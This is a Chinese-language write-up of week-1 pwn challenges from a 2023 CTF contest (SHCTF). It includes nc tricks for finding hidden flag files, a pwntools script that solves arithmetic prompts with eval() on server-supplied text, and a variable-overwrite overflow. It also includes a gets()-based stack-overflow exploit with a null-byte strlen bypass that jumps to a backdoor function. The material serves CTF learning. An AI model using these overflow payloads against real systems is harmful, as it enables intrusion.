2023 SHCTF-校外赛道 PWN WP

发布时间 2023-10-30 21:52:05作者: Kicky_Mu

WEEK1

nc

连接靶机直接梭

hard nc

同样是nc直接连,但是出题人利用linux命令的特性,将部分flag放在了特殊文件中

利用ls -a查看所有文件,查看.gift,可以得到前半段

然后再ls gift2以及cat相关的内容得不到任何数据。。。因此考虑到会不会是进入目录下找,再更换到gift2目录中,查看flag2,可以得到一串base64

cd gift2
ls
flag2
cat flag2
ZTQtYTMyNi1jOThjYzJjZmRkYzh9Cg==

口算题

要答对200题才行,肯定得用脚本。。。。

exp:

from pwn import *
host = ''
post = 
GeShi = b'Press Enter to start...'  # 改格式!

sh = remote(host,post)
sh.sendline("")

data = sh.recvuntil(GeShi).decode()

for i in range(200):
    data1 = sh.recvuntil(b'=').decode()
    print(data1)

    a = data1.split("\n")[-1].split('=')[0]
    print("a:",a)
    if "÷" in a:
        a = a.replace("÷","/")
    if "×" in a:
        a = a.replace("×","*")
    print(eval(a))
    sh.sendline(str(eval(a)).encode())
    print(sh.recvline())
    print(sh.recvline())
    print(sh.recvline())
print(sh.recvall())

showshowway

题目要求yp相等,寻找一下py,发现p = showshowway

y是一个大小为32的字符数组

往上划发现,传入的值存在s中,地址从06010C0截至到06010FF,长度为64(测试过了一个字符a占地址为1),而y的地址紧接着s,说明我们传入的第65个值会存入y

所以我们只要输入64个a+showshowway,即可让yp相等。。。。

四则计算器

IDA发现有后面函数backdoor()

查看backdoor()的地址为0x4015E4

利用gets()函数不检查输入函数,所以存在栈溢出漏洞,再利用strlen()会被\x00截断

构造pyload:

from pwn import *
context(os='linux',arch='amd64',log_level= 'debug')

sh = remote("IP",端口号)
backdoor = 0x4015E4
pad = 0x32 + 8
payload = b'\x00' + b'A'*(pad-1) + p64(backdoor)

sh.sendline(payload)
sh.interactive()